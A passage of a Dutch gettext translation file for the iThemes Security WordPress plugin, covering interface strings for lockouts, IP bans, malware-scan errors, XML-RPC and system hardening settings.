%s. Settings were unable to be saved." msgstr "Kon geen geldig instellingen object vinden voor %s. De instellingen konden niet worden opgeslagen." #: core/modules.php:57 msgid "An attempt to register the %1$s module failed since the supplied path (%2$s) is invalid. This could indicate an invalid modification or incomplete installation of the iThemes Security plugin. Please reinstall the plugin and try again." msgstr "Een poging om de %1$s module te registreren is mislukt omdat het opgegeven pad (%2$s) ongeldig is. Dit kan wijzen op een ongeldige aanpassing of incomplete installatie van de iThemes Security plugin. Herinstalleer de plugin en probeer het opnieuw." #: core/lockout.php:432 msgid "<strong>Is this computer white-listed:</strong> %s" msgstr "<strong>Staat deze computer op de whitelist:</strong> %s" #: core/lockout.php:430 msgid "<strong>User lockout message:</strong> %s" msgstr "<strong>Gebruiker uitsluitingsbericht:</strong> %s" #: core/lockout.php:428 msgid "<strong>Host lockout message:</strong> %s" msgstr "<strong>Host uitsluitingsbericht:</strong> %s" #: core/lockout.php:426 msgid "<strong>How long lockouts will be remembered for ban:</strong> %s" msgstr "<strong>Hoe lang uitsluitingen worden onthouden voor verbanningen:</strong> %s" #: core/lockout.php:424 msgid "<strong>Number of lockouts before permanent ban:</strong> %s" msgstr "<strong>Aantal uitsluitingen voor permanente verbanning:</strong> %s" #: core/lockout.php:422 msgid "<strong>Permanently ban:</strong> %s" msgstr "<strong>Verban permanent:</strong> %s" #: core/sync-verbs/itsec-set-temp-whitelist.php:38 msgid "The direction argument must be either \"add\", \"clear\", or \"remove\"." msgstr "Het argument moet \"toevoegen\", \"wissen\" of \"verwijderen\" zijn." #: core/sync-verbs/itsec-set-temp-whitelist.php:26 msgid "An empty ip argument was submitted." msgstr "Een leeg IP argument is verzonden." #: core/sync-verbs/itsec-set-temp-whitelist.php:19 msgid "The ip argument is missing." msgstr "Het IP argument ontbreekt." #: core/admin-pages/page-settings.php:593 msgid "Cancel" msgstr "Annuleren" #: core/admin-pages/page-settings.php:578 msgid "Configure previous iThemes Security setting" msgstr "Configureer vorige iThemes Security instelling" #: core/admin-pages/page-settings.php:577 msgid "Configure next iThemes Security setting" msgstr "Configureer volgende iThemes Security instelling" #: core/admin-pages/page-settings.php:402 msgctxt "List advanced modules" msgid "Advanced" msgstr "Geavanceerde" #: core/admin-pages/page-settings.php:398 msgctxt "List recommended modules" msgid "Recommended" msgstr "Aanbevolen" #: core/admin-pages/page-settings.php:394 msgctxt "List all modules" msgid "All" msgstr "Alle" #: core/admin-pages/page-settings.php:360 msgid "The requested widget (%s) does not exist. Settings for it cannot be rendered." msgstr "De gevraagde widget (%s) bestaat niet. Instellingen hiervoor kunnen niet worden weergegeven." #: core/admin-pages/page-settings.php:327 msgid "The requested module (%s) does not exist. Settings for it cannot be rendered." msgstr "De gevraagde module (%s) bestaat niet. Instellingen hiervoor kunnen niet worden weergegeven." #: core/admin-pages/page-settings.php:213 msgid "The server did not receive a valid request. An unknown \"method\" argument was supplied. Please try again." msgstr "De server ontving geen geldige aanvraag. Een onbekend \"methode\" argument is aangedragen. Probeer het opnieuw." #: core/admin-pages/page-settings.php:207 msgid "The server did not receive a valid request. The required \"data\" argument for the widget is missing. Please try again." msgstr "De server ontving geen geldige aanvraag. Het verplichte \"data\" argument voor de widget ontbreekt. Probeer het opnieuw." #: core/admin-pages/page-settings.php:197 msgid "The server did not receive a valid request. The required \"data\" argument for the module is missing. Please try again." msgstr "De server ontving geen geldige aanvraag. Het verplichte \"data\" argument voor de module ontbreekt. Probeer het opnieuw." #: core/admin-pages/page-settings.php:171 msgid "The server did not receive a valid request. The required \"module\" argument is missing. Please try again." msgstr "De server ontving geen geldige aanvraag. Het verplichte \"module\" argument ontbreekt. Probeer het opnieuw." #: core/admin-pages/page-settings.php:167 msgid "The server did not receive a valid request. The required \"method\" argument is missing. Please try again." msgstr "De server ontving geen geldige aanvraag. Het verplichte \"methode\" argument ontbreekt. Probeer het opnieuw." #: core/admin-pages/page-settings.php:165 msgid "A permissions security check failed, preventing the request from completing as expected. The currently logged in user does not have sufficient permissions to make this request. Please try reloading the page and trying again." msgstr "Een beveiligingscontrole voor rechten is mislukt, waardoor de aanvraag niet kan worden afgerond zoals verwacht. De ingelogde gebruiker heeft onvoldoende rechten om deze aanvraag te doen. Probeer de pagina te herladen en probeer het nogmaals." #: core/admin-pages/page-settings.php:163 msgid "A nonce security check failed, preventing the request from completing as expected. Please try reloading the page and trying again." msgstr "Een beveiligingscontrole voor nonce is mislukt, waardoor de aanvraag niet kan worden afgerond zoals verwacht. Probeer de pagina te herladen en probeer het nogmaals." #: core/admin-pages/page-settings.php:115 msgid "Disable" msgstr "Deactiveren" #: core/admin-pages/page-settings.php:114 msgid "Enable" msgstr "Activeren" #: core/admin-pages/page-settings.php:111 msgid "Learn More" msgstr "Lees meer" #: core/admin-pages/page-settings.php:110 msgid "Hide Settings" msgstr "Verberg Instellingen" #: core/admin-pages/page-settings.php:109 msgid "Configure Settings" msgstr "Configureer Instellingen" #: core/admin-pages/page-settings.php:108 msgid "Close" msgstr "Sluiten" #: core/admin-pages/page-settings.php:107 msgid "Save Settings" msgstr "Instellingen opslaan" #: core/admin-pages/page-logs.php:311 core/admin-pages/page-settings.php:513 msgid "iThemes Security requires Javascript in order for the settings to be modified. Please enable Javascript to configure the settings." msgstr "iThemes Security vereist Javascript om de instellingen te kunnen wijzigen. Activeer Javascript om de instellingen te configureren." #: core/admin-pages/page-logs.php:278 msgid "Logging settings can be managed in the Global Settings." msgstr "Logboek instellingen kunnen worden beheerd in de Globale Instellingen." #: core/admin-pages/page-logs.php:277 msgid "Below are various logs of information collected by iThemes Security Pro. This information can help you get a picture of what is happening with your site and the level of success you have achieved in your security efforts." msgstr "Onderstaand zijn verschillende logboeken met informatie verzameld door iThemes Security Pro. Deze informatie kan je helpen een beeld te krijgen wat er met je site gebeurd en het succesniveau dat je hebt bereikt met je beveiligingspogingen." #: core/admin-pages/page-logs.php:255 core/admin-pages/page-settings.php:453 #: core/lib/class-itsec-mail.php:69 msgid "Support" msgstr "Ondersteuning" #: core/admin-pages/page-logs.php:254 msgid "Manage Settings" msgstr "Beheer Instellingen" #: core/admin-pages/page-logs.php:194 msgid "The requested widget (%s) does not exist. Logs for it cannot be rendered." msgstr "De gevraagde widget (%s) bestaat niet. Logboeken hiervoor kunnen niet worden weergegeven." #: core/admin-pages/page-logs.php:168 core/admin-pages/page-settings.php:302 msgid "The settings could not be saved. Due to an unknown error. Please try refreshing the page and trying again." msgstr "De instellingen konden niet worden opgeslagen door een onbekende fout. Probeer de pagina te herladen en probeer het nogmaals." #: core/admin-pages/page-logs.php:166 core/admin-pages/page-settings.php:300 msgid "The settings could not be saved. Please correct the error above and try again." msgid_plural "The settings could not be saved. Please correct the errors above and try again." msgstr[0] "De instellingen konden niet worden opgeslagen. Corrigeer bovenstaande fout en probeer het nogmaals." msgstr[1] "De instellingen konden niet worden opgeslagen. Corrigeer bovenstaande fouten en probeer het nogmaals." #: core/admin-pages/page-logs.php:159 core/admin-pages/page-settings.php:293 msgid "The settings saved successfully." msgstr "De instellingen zijn succesvol opgeslagen." #: core/admin-pages/page-logs.php:144 core/admin-pages/page-settings.php:278 msgid "The supplied module (%s) is not recognized. The module settings could not be saved." msgstr "De opgegeven module (%s) is niet herkend. De module instellingen konden niet worden opgeslagen." #: core/admin-pages/page-logs.php:86 core/admin-pages/page-settings.php:135 msgid "A parser error prevented the request from completing as expected. The site sent a response that jQuery could not process. This could be due to a plugin/theme conflict or a server configuration issue." msgstr "Een parserfout heeft voorkomen dat de aanvraag kon worden afgerond zoals verwacht. De site verzond een reactie die jQuery niet kon verwerken. Dit kan het gevolg zijn van een conflict tussen een plugin en thema of een server configuratie probleem." #: core/admin-pages/page-logs.php:84 core/admin-pages/page-settings.php:133 msgid "A timeout error prevented the request from completing as expected. The site took too long to respond. This could be due to a plugin/theme conflict or a server configuration issue." msgstr "Een time-outfout heeft voorkomen dat de aanvraag kon worden afgerond zoals verwacht. Het duurde te lang voor de site om te reageren. Dit kan het gevolg zijn van een conflict tussen een plugin en thema of een server configuratie probleem." #: core/admin-pages/page-logs.php:82 core/admin-pages/page-settings.php:131 msgid "An unknown error prevented the request from completing as expected. This could be due to a plugin/theme conflict or a server configuration issue." msgstr "Een onbekende fout heeft voorkomen dat de aanvraag kon worden afgerond zoals verwacht. Dit kan het gevolg zijn van een conflict tussen een plugin en thema of een server configuratie probleem." #: core/admin-pages/page-logs.php:80 core/admin-pages/page-settings.php:129 msgid "A \"internal server\" error prevented the request from completing as expected. The server returned a 500 status code, indicating that the server was unable to complete the request due to a fatal PHP error or a server problem. This could be due to a plugin/theme conflict, a server configuration issue, a temporary hosting issue, or invalid custom PHP modifications. Please check your server's error logs for details about the source of the error and contact your hosting company for assistance if required." msgstr "Een \"interne serverfout\" heeft voorkomen dat de aanvraag kon worden afgerond zoals verwacht. De server gaf een 500 statuscode, waarmee wordt aangegeven dat de server de aanvraag niet kon afmaken vanwege een fatale PHP-fout of een server probleem. Dit kan het gevolg zijn van een conflict tussen een plugin en thema, een server configuratie probleem, een tijdelijk probleem met de hosting of ongeldige PHP aanpassingen. Controleer de foutmelding logboeken van je server voor details over de bron van de fout en neem contact op met je host voor ondersteuning indien nodig." #: core/admin-pages/page-logs.php:78 core/admin-pages/page-settings.php:127 msgid "A \"not found\" error prevented the request from completing as expected. The server returned a 404 status code, indicating that the server was unable to find the requested admin-ajax.php file. This could be due to a plugin/theme conflict, a server configuration issue, or an incomplete WordPress installation. Please try refreshing the page and trying again. If the request continues to fail, you may have to alter plugin settings, alter server configurations, or reinstall WordPress." msgstr "Een \"niet gevonden\" fout heeft voorkomen dat de aanvraag kon worden afgerond zoals verwacht. De server gaf een 404 statuscode, waarmee word aangegeven dat de server het gevraagde admin-ajax.php bestand niet kon vinden. Dit kan het gevolg zijn van een conflict tussen een plugin en thema, een server configuratie probleem of een incomplete WordPress installatie. Probeer de pagina te herladen en probeer het nogmaals. Als de aanvraag blijft mislukken, moet je mogelijk plugin-instellingen aanpassen, de server configuratie aanpassen of WordPress herinstalleren." #: core/admin-pages/page-logs.php:76 core/admin-pages/page-settings.php:125 msgid "A \"request forbidden\" error prevented the request from completing as expected. The server returned a 403 status code, indicating that the server configuration is prohibiting this request. This could be due to a plugin/theme conflict or a server configuration issue. Please try refreshing the page and trying again. If the request continues to fail, you may have to alter plugin settings or server configuration that could account for this AJAX request being blocked." msgstr "Een \"aanvraag verboden\" fout heeft voorkomen dat de aanvraag kon worden afgerond zoals verwacht. De server gaf een 403 statuscode, waarmee word aangegeven dat de server configuratie deze aanvraag verbiedt. Dit kan het gevolg zijn van een conflict tussen een plugin en thema of een server configuratie probleem. Probeer de pagina te herladen en probeer het nogmaals. Als de aanvraag blijft mislukken, moet je mogelijk plugin-instellingen aanpassen of de server configuratie die ervoor zorgt dat deze AJAX aanvraag word geblokkeerd." #: core/admin-pages/page-logs.php:74 core/admin-pages/page-settings.php:123 msgid "An \"invalid format\" error prevented the request from completing as expected. The format of data returned could not be recognized. This could be due to a plugin/theme conflict or a server configuration issue." msgstr "Een \"ongeldig formaat\" fout heeft voorkomen dat de aanvraag kon worden afgerond zoals verwacht. Het gegeven dataformaat kon niet worden herkend. Dit kan het gevolg zijn van een conflict tussen een plugin en thema of een server configuratie probleem." #. translators: 1: module name #: core/admin-pages/page-logs.php:72 core/admin-pages/page-settings.php:121 msgid "Settings saved successfully for %1$s." msgstr "Instellingen voor %1$s succesvol opgeslagen." #: core/admin-pages/init.php:32 msgid "iThemes Security Logs" msgstr "iThemes Security Logboeken" #: core/admin-pages/init.php:30 msgid "iThemes Security Settings" msgstr "iThemes Security Instellingen" #: core/modules/hide-backend/class-itsec-hide-backend.php:195 msgid "This has been disabled." msgstr "Dit is gedeactiveerd." #: core/modules/hide-backend/settings-page.php:105 #: core/modules/hide-backend/validator.php:30 msgid "Redirection Slug" msgstr "Doorsturen Slug" #: core/modules/hide-backend/settings-page.php:98 #: core/modules/hide-backend/validator.php:29 msgid "Enable Redirection" msgstr "Activeer Doorsturen" #: core/modules/hide-backend/settings-page.php:101 msgid "Redirect users to a custom location on your site, instead of throwing a 403 (forbidden) error." msgstr "Stuur gebruikers door naar een eigen locatie op je site, in plaats van het geven van een 403 (verboden) fout." #: core/modules/hide-backend/settings-page.php:110 msgid "The slug to redirect users to when they attempt to access wp-admin while not logged in." msgstr "De slug om gebruikers naar door te sutren wanneer zij proberen wp-admin te bereiken terwijl ze niet ingelogd zijn." #: core/modules/hide-backend/settings-page.php:109 msgid "Redirect Location: %s" msgstr "Doorstuur Locatie: %s" #. Description of the plugin/theme msgid "Take the guesswork out of WordPress security. iThemes Security offers 30+ ways to lock down WordPress in an easy-to-use WordPress security plugin." msgstr "Neem het gissen uit WordPress beveiliging. iThemes Security biedt 30+ manieren om WordPress dicht te timmeren in een gebruiksvriendelijke WordPress beveiligingsplugin." #: core/modules/malware/class-itsec-malware-scanner.php:154 msgid "The scan failed due to an unexpected technical error. The response from the wp_remote_get function is missing some critical information that is needed in order to properly process the response from Sucuri's servers. This could indicate a plugin/theme compatibility issue or a problem in WordPress." msgstr "De scan is niet gelukt door een onverwachte technische fout. In het antwoord van de wp_remote_get functie ontbreekt enige kritische informatie die nodig is om het antwoord van Sucuri's servers correct te verwerken. Dit kan een plugin/thema compatibiliteitsprobleem of een probleem in WordPress aanduiden." #: core/modules/malware/class-itsec-malware-scanner.php:130 msgid "The scan failed due to an unexpected technical error. The response from the wp_remote_get function does not contain a body entry. Since the body entry contains the response for the request to Sucuri's servers, the response cannot be processed. This could indicate a plugin/theme compatibility issue or a problem in WordPress." msgstr "De scan is niet gelukt door een onverwachte technische fout. Het antwoord van de wp_remote_get functie bevat geen body inhoud. Omdat de body inhoud het antwoord van Sucuri's servers correct bevat, kan het antwoord niet worden verwerkt. Dit kan een plugin/thema compatibiliteitsprobleem of een probleem in WordPress aanduiden." #: core/modules/ban-users/settings-page.php:58 msgid "Note: You cannot ban yourself." msgstr "Let op: je kan jezelf niet verbannen." #: core/modules/ban-users/settings-page.php:50 msgid "You may ban users by individual IP address or IP address range using wildcards or CIDR notation." msgstr "Je kan gebruikers verbannen met individuele IP-adressen of IP-adresgroepen met behulp van jokertekens of CIDR-notatie." #: core/modules/ban-users/settings-page.php:47 msgid "Use the guidelines below to enter hosts that will not be allowed access to your site." msgstr "Gebruik de richtlijnen hieronder om hosts in te voeren die niet toegestaan zijn om jouw site te bezoeken." #: core/modules/ban-users/settings-page.php:54 #: core/modules/global/settings-page.php:177 msgid "Wildcards are also supported with some limitations. If using wildcards (*), you must start with the right-most chunk in the IP address. For example ###.###.###.* and ###.###.*.* are permitted but ###.###.*.### is not. Wildcards are only for convenient entering of IP addresses, and will be automatically converted to their appropriate CIDR notation format on save." msgstr "Jokertekens worden ondersteund met enkele beperkingen. Wanneer jokertekens worden gebruikt, moet begonnen worden met het meest rechtse deel van het IP-adres. Voorbeeld: ###.###.###.* en ###.###.*.* zijn toegestaan, maar ###.###.*.### niet. Jokertekens zijn enkel voor eenvoudig invoeren van IP-adressen en worden automatisch omgezet naar de juiste CIDR-notatie wanneer opgeslagen wordt." #: core/modules/ban-users/settings-page.php:53 #: core/modules/global/settings-page.php:176 msgid "CIDR notation is allowed to specify a range of IP addresses (###.###.###.###/## or ####:####:####:####:####:####:####:####/###)." msgstr "CIDR notatie is toegestaan om een groep van IP-adressen te specificeren (###.###.###.###/## of ####:####:####:####:####:####:####:####/###)." #: core/modules/ban-users/settings-page.php:52 #: core/modules/global/settings-page.php:175 msgid "Individual IP addresses must be in IPv4 or IPv6 standard format (###.###.###.### or ####:####:####:####:####:####:####:####)." msgstr "Individuele IP-adressen moeten in IPv4 of IPv6 standaardformaat zijn (###.###.###.### of ####:####:####:####:####:####:####:####)." #: core/modules/global/settings-page.php:173 msgid "You may white list users by individual IP address or IP address range using wildcards or CIDR notation." msgstr "Je kan gebruikers op een white list zetten met individuele IP-adressen of IP-adresgroepen met behulp van jokertekens of CIDR-notatie." #: core/show-multiple-version-notice.php:5 msgid "Multiple versions of iThemes Security are active. Please disable all extra versions of iThemes Security." msgstr "Meerdere versies van iThemes Security zijn actief. Deactiveer alstublieft alle extra versies van iThemes Security." #: core/modules/malware/class-itsec-malware-scanner.php:143 msgid "The scan did not complete successfully. The Sucuri server should send its response in JSON encoding. The data received from the Sucuri server could not be decoded. In addition, a content type of <code>%s</code> was received when a content type of <code>application/json</code> was expected. This could indicate a temporary issue with the Sucuri servers." msgstr "De scan is niet succesvol afgerond. De Sucuri server behoort zijn antwoord in JSON-codering te sturen. De van de Sucuri server ontvangen data kon niet worden gedecodeerd. Daarnaast is een content type van <code>%s</code> ontvangen terwijl een content type van <code>application/json</code> verwacht werd. Dit kan op een tijdelijk probleem met de Sucuri servers duiden." #: core/modules/malware/class-itsec-malware-scanner.php:141 msgid "The scan did not complete successfully. The Sucuri server should send its response in JSON encoding. The response indicates that the encoding is JSON, but the data could not be decoded. This problem could be due to a temporary Sucuri server issue or a compatibility issue on your server. If the problem continues, please contact iThemes Security support." msgstr "De scan is niet succesvol afgerond. De Sucuri server behoort zijn antwoord in JSON-codering te sturen. Het antwoord geeft aan dat de codering JSON is, maar de data kon niet worden gedecodeerd. Dit probleem kan duiden op een tijdelijk probleem met de Sucuri servers of een compatibiliteitsprobleem op jouw server. Als het probleem aanhoudt, neem dan contact op met iThemes Security support." #: core/modules/malware/class-itsec-malware-scan-results-template.php:31 msgid "If you contact support about this error, please provide the following debug details:" msgstr "Als je contact opneemt met support over deze foutmelding, verstrek dan de volgende debug-details:" #. Author of the plugin/theme msgid "iThemes" msgstr "iThemes" #: core/modules/wordpress-tweaks/class-itsec-wordpress-tweaks.php:274 msgid "XML-RPC services are disabled on this site." msgstr "XML-RPC functies zijn gedeactiveerd op deze site." #: core/modules/wordpress-tweaks/settings-page.php:90 #: core/modules/wordpress-tweaks/validator.php:17 msgid "Multiple Authentication Attempts per XML-RPC Request" msgstr "Meerdere authenticatiepogingen per XML-RPC verzoek" #: core/modules/wordpress-tweaks/settings-page.php:96 msgid "<strong>Allow</strong> - Allows XML-RPC requests that contain multiple login attempts. Only use this setting if a service requires it." msgstr "<strong>Toestaan</strong> - Staat XML-RPC verzoeken toe die meerdere login-pogingen bevatten. Gebruik deze instelling alleen als een service dit vereist." #: core/modules/wordpress-tweaks/settings-page.php:95 msgid "<strong>Block</strong> - Blocks XML-RPC requests that contain multiple login attempts. This setting is highly recommended." msgstr "<strong>Blokkeer</strong> - Blokkeert XML-RPC verzoeken die meerdere login-pogingen bevatten. Deze instelling wordt sterk aanbevolen." #: core/modules/wordpress-tweaks/settings-page.php:32 msgid "Block (recommended)" msgstr "Blokkeer (aanbevolen)" #: core/modules/wordpress-tweaks/settings-page.php:92 msgid "WordPress' XML-RPC feature allows hundreds of username and password guesses per request. Use the recommended \"Block\" setting below to prevent attackers from exploiting this feature." msgstr "De XML-RPC functie van WordPress staat honderden gebruikersnaam en wachtwoord gokken per verzoek toe. Gebruik de aanbevolen \"Blokkeer\" instelling hieronder om te voorkomen dat aanvallers deze functie misbruiken." #: core/modules/wordpress-tweaks/settings-page.php:85 msgid "<strong>Enable XML-RPC</strong> - XML-RPC is fully enabled and will function as normal. Use this setting only if the site must have unrestricted use of XML-RPC." msgstr "<strong>XML-RPC activeren</strong> - XML-RPC is volledig geactiveerd en zal normaal functioneren. Gebruik deze instelling alleen als de site onbeperkt gebruik van XML-RPC moet hebben." #: core/modules/wordpress-tweaks/settings-page.php:84 msgid "<strong>Disable Pingbacks</strong> - Only disable pingbacks. Other XML-RPC features will work as normal. Select this setting if you require features such as Jetpack or the WordPress Mobile app." msgstr "<strong>Pingbacks deactiveren</strong> - Enkel pingbacks deactiveren. Andere XML-RPC functies blijven gewoon werken. Kies deze instelling als je functies waaronder Jetpack of de WordPress mobiele app nodig hebt." #: core/modules/wordpress-tweaks/settings-page.php:83 msgid "<strong>Disable XML-RPC</strong> - XML-RPC is disabled on the site. This setting is highly recommended if Jetpack, the WordPress mobile app, pingbacks, and other services that use XML-RPC are not used." msgstr "<strong>XML-RPC deactiveren</strong> - XML-RPC is gedeactiveerd op de site. Deze instelling wordt sterk aanbevolen als Jetpack, de WordPress mobiele app, pingbacks en andere diensten die gebruik maken van XML-RPC niet worden gebruikt." #: core/modules/wordpress-tweaks/settings-page.php:27 msgid "Disable Pingbacks" msgstr "Pingbacks deactiveren" #: core/modules/wordpress-tweaks/settings-page.php:26 msgid "Disable XML-RPC (recommended)" msgstr "XML-RPC deactiveren (aanbevolen)" #: core/modules/wordpress-tweaks/settings-page.php:80 msgid "WordPress' XML-RPC feature allows external services to access and modify content on the site. Common example of services that make use of XML-RPC are <a href=\"%1$s\">the Jetpack plugin</a>, <a href=\"%2$s\">the WordPress mobile app</a>, and <a href=\"%3$s\">pingbacks</a>. If the site does not use a service that requires XML-RPC, select the \"Disable XML-RPC\" setting as disabling XML-RPC prevents attackers from using the feature to attack the site." msgstr "De XML-RPC functie van WordPress staat externe diensten toe om de inhoud van de website te benaderen en bewerken. Bekende voorbeelden van diensten die gebruik maken van XML-RPC zijn <a href=\"%1$s\">de Jetpack plugin</a>, <a href=\"%2$s\">de WordPress mobiele app</a> en <a href=\"%3$s\">pingbacks</a>. Als de site geen diensten gebruikt die XML-RPC vereisen, kies dan de \"XML-RPC deactiveren\" optie, omdat het deactiveren van XML-RPC voorkomt dat aanvallers deze functie misbruiken om de site aan te vallen." #. Author URI of the plugin/theme msgid "https://ithemes.com" msgstr "https://ithemes.com" #. Plugin URI of the plugin/theme msgid "https://ithemes.com/security" msgstr "https://ithemes.com/security" #: core/modules/wordpress-tweaks/class-itsec-wordpress-tweaks.php:335 msgid "A Nickname is required. Please choose a nickname or fill out your first and last name." msgstr "Een bijnaam is verplicht. Kies een bijnaam of vul je voor- en achternaam in." #: core/modules/wordpress-tweaks/class-itsec-wordpress-tweaks.php:317 msgid "Your Nickname must be different than your login name. Please choose a different Nickname." msgstr "Je bijnaam moet anders zijn dan je loginnaam. Kies een andere bijnaam." #: core/modules/multisite-tweaks/settings-page.php:6 msgid "Multisite Tweaks" msgstr "Multisite tweaks" #: core/modules/multisite-tweaks/settings-page.php:25 #: core/modules/system-tweaks/settings-page.php:25 #: core/modules/wordpress-tweaks/settings-page.php:43 msgid "Remember, some of these settings might conflict with other plugins or themes, so test your site after enabling each setting." msgstr "Vergeet niet dat sommige van deze instellingen mogelijk conflicteren met andere plugins of thema's, dus test je site na het activeren van elke instelling." #: core/modules/multisite-tweaks/settings-page.php:24 #: core/modules/system-tweaks/settings-page.php:24 #: core/modules/wordpress-tweaks/settings-page.php:42 msgid "Note: These settings are listed as advanced because they block common forms of attacks but they can also block legitimate plugins and themes that rely on the same techniques. When activating the settings below, we recommend enabling them one by one to test that everything on your site is still working as expected." msgstr "Let op: Deze instellingen zijn bestempeld als geavanceerd omdat zij bekende aanvalsvormen blokkeren, maar zij kunnen ook legitieme plugins en thema's die op dezelfde technieken gebaseerd zijn blokkeren. Als de instellingen hieronder worden geactiveerd, raden we aan ze een-voor-een te activeren om te testen dat alles op jouw site blijft werken zoals bedoeld." #: core/modules/multisite-tweaks/settings-page.php:16 #: core/modules/system-tweaks/settings-page.php:16 #: core/modules/wordpress-tweaks/settings-page.php:16 msgid "These are advanced settings that may be utilized to further strengthen the security of your WordPress site." msgstr "Dit zijn geavanceerde instellingen die gebruikt kunnen worden om de beveiliging van je WordPress site verder te versterken." #: core/modules/multisite-tweaks/settings-page.php:44 #: core/modules/multisite-tweaks/validator.php:11 msgid "Core Update Notifications" msgstr "Kern update-meldingen" #: core/modules/multisite-tweaks/settings-page.php:36 #: core/modules/multisite-tweaks/validator.php:10 msgid "Plugin Update Notifications" msgstr "Plugin update-meldingen" #: core/modules/multisite-tweaks/settings-page.php:28 #: core/modules/multisite-tweaks/validator.php:9 msgid "Theme Update Notifications" msgstr "Thema update-meldingen" #: core/modules/wordpress-tweaks/settings-page.php:128 #: core/modules/wordpress-tweaks/validator.php:21 msgid "Disable Extra User Archives" msgstr "Deactiveer extra gebruikersarchieven" #: core/modules/wordpress-tweaks/settings-page.php:120 #: core/modules/wordpress-tweaks/validator.php:20 msgid "Force Unique Nickname" msgstr "Verplicht unieke bijnamen" #: core/modules/wordpress-tweaks/settings-page.php:112 #: core/modules/wordpress-tweaks/validator.php:19 msgid "Login Error Messages" msgstr "Login foutmeldingen" #: core/modules/wordpress-tweaks/settings-page.php:78 #: core/modules/wordpress-tweaks/validator.php:15 #: core/modules/wordpress-tweaks/validator.php:16 msgid "XML-RPC" msgstr "XML-RPC" #: core/modules/wordpress-tweaks/settings-page.php:70 #: core/modules/wordpress-tweaks/validator.php:14 msgid "File Editor" msgstr "Bestand Editor" #: core/modules/wordpress-tweaks/settings-page.php:62 #: core/modules/wordpress-tweaks/validator.php:13 msgid "Comment Spam" msgstr "Reactie-spam" #: core/modules/wordpress-tweaks/settings-page.php:54 #: core/modules/wordpress-tweaks/validator.php:12 msgid "EditURI Header" msgstr "EditURI Header" #: core/modules/wordpress-tweaks/settings-page.php:46 #: core/modules/wordpress-tweaks/validator.php:11 msgid "Windows Live Writer Header" msgstr "Windows Live Writer Header" #: core/modules/system-tweaks/settings-page.php:76 #: core/modules/system-tweaks/validator.php:15 msgid "File Writing Permissions" msgstr "Bestanden beschrijven rechten" #: core/modules/system-tweaks/settings-page.php:68 #: core/modules/system-tweaks/validator.php:14 msgid "Long URL Strings" msgstr "Lange URL-strings" #: core/modules/system-tweaks/settings-page.php:60 #: core/modules/system-tweaks/validator.php:13 msgid "Non-English Characters" msgstr "Niet-Engelse karakters" #: core/modules/system-tweaks/settings-page.php:52 #: core/modules/system-tweaks/validator.php:12 msgid "Suspicious Query Strings" msgstr "Verdachte query strings" #: core/modules/system-tweaks/settings-page.php:44 #: core/modules/system-tweaks/validator.php:11 msgid "Request Methods" msgstr "Verzoekmethodes" #: core/modules/system-tweaks/settings-page.php:36 #: core/modules/system-tweaks/validator.php:10 msgid "Directory Browsing" msgstr "Bladeren in mappen" #: core/modules/system-tweaks/settings-page.php:28 #: core/modules/system-tweaks/validator.php:9 msgid "System Files" msgstr "Systeembestanden" #: core/modules/wordpress-tweaks/config-generators.php:8 msgid "Disable File Editor - Security > Settings > WordPress Tweaks > File Editor" msgstr "Deactiveer bestandsbewerker - Beveiliging > Instellingen > WordPress tweaks > Bestandsbewerker" #: core/modules/wordpress-tweaks/config-generators.php:51 #: core/modules/wordpress-tweaks/config-generators.php:104 msgid "Reduce Comment Spam - Security > Settings > WordPress Tweaks > Comment Spam" msgstr "Verminder reactie-spam - Beveiliging > Instellingen > Systeem tweaks > Reactie-spam" #: core/modules/system-tweaks/config-generators.php:142 #: core/modules/system-tweaks/config-generators.php:271 msgid "Filter Non-English Characters - Security > Settings > System Tweaks > Non-English Characters" msgstr "Filter Niet-Engelse karakters - Beveiliging > Instellingen > Systeem tweaks > Niet-Engelse karakters" #: core/modules/system-tweaks/config-generators.php:117 #: core/modules/system-tweaks/config-generators.php:243 msgid "Filter Suspicious Query Strings in the URL - Security > Settings > System Tweaks > Suspicious Query Strings" msgstr "Filter verdachte query strings in de URL - Beveiliging > Instellingen > Systeem tweaks > Verdachte query strings" #: core/modules/system-tweaks/config-generators.php:110 #: core/modules/system-tweaks/config-generators.php:236 msgid "Filter Request Methods - Security > Settings > System Tweaks > Request Methods" msgstr "Filter verzoekmethodes - Beveiliging > Instellingen > Systeem tweaks > Verzoekmethodes" #: core/modules/system-tweaks/config-generators.php:79 #: core/modules/system-tweaks/config-generators.php:202 msgid "Disable PHP in Uploads - Security > Settings > System Tweaks > PHP in Uploads" msgstr "Deactiveer PHP in uploads - Beveiliging > Instellingen > Systeem tweaks > PHP in Uploads" #: core/modules/system-tweaks/config-generators.php:49 msgid "Disable Directory Browsing - Security > Settings > System Tweaks > Directory Browsing" msgstr "Deactiveer Bladeren in mappen - Beveiliging > Instellingen > Systeem tweaks > Bladeren in mappen" #: core/modules/wordpress-tweaks/config-generators.php:26 #: core/modules/wordpress-tweaks/config-generators.php:96 msgid "Disable XML-RPC - Security > Settings > WordPress Tweaks > XML-RPC" msgstr "Deactiveer XML-RPC - Beveiliging > Instellingen > WordPress tweaks > XML-RPC" #: core/modules/system-tweaks/config-generators.php:23 #: core/modules/system-tweaks/config-generators.php:58 #: core/modules/system-tweaks/config-generators.php:175 msgid "Protect System Files - Security > Settings > System Tweaks > System Files" msgstr "Bescherm systeembestanden - Beveiliging > Instellingen > Systeem tweaks > Systeembestanden" #: core/modules/wordpress-tweaks/settings-page.php:50 msgid "This is not needed if you do not use Windows Live Writer or other blogging clients that rely on this file." msgstr "Dit is niet nodig als je geen gebruik maakt van Windows Live Writer of andere blog-software die dit bestand nodig hebben." #: core/modules/wordpress-tweaks/settings-page.php:49 msgid "Remove the Windows Live Writer header." msgstr "Verwijder de Windows Live Writer header." #: core/modules/system-tweaks/settings-page.php:87 msgid "Disable PHP in Uploads" msgstr "Deactiveer PHP in uploads" #: core/modules/multisite-tweaks/settings-page.php:32 msgid "Hides theme update notifications from users who cannot update themes. Please note that this only makes a difference in multi-site installations." msgstr "Verbergt thema update-meldingen van gebruikers die thema's niet kunnen bijwerken. Let op: dit maakt alleen verschil in multi-site installaties." #: core/modules/multisite-tweaks/settings-page.php:31 msgid "Hide Theme Update Notifications" msgstr "Verberg thema update-meldingen" #: core/modules/multisite-tweaks/settings-page.php:40 msgid "Hides plugin update notifications from users who cannot update plugins. Please note that this only makes a difference in multi-site installations." msgstr "Verbergt plugin-update meldingen voor gebruikers die plugins niet kunnen bijwerken. Let op dat dit enkel verschil maakt in multisite installaties." #: core/modules/multisite-tweaks/settings-page.php:39 msgid "Hide Plugin Update Notifications" msgstr "Verberg 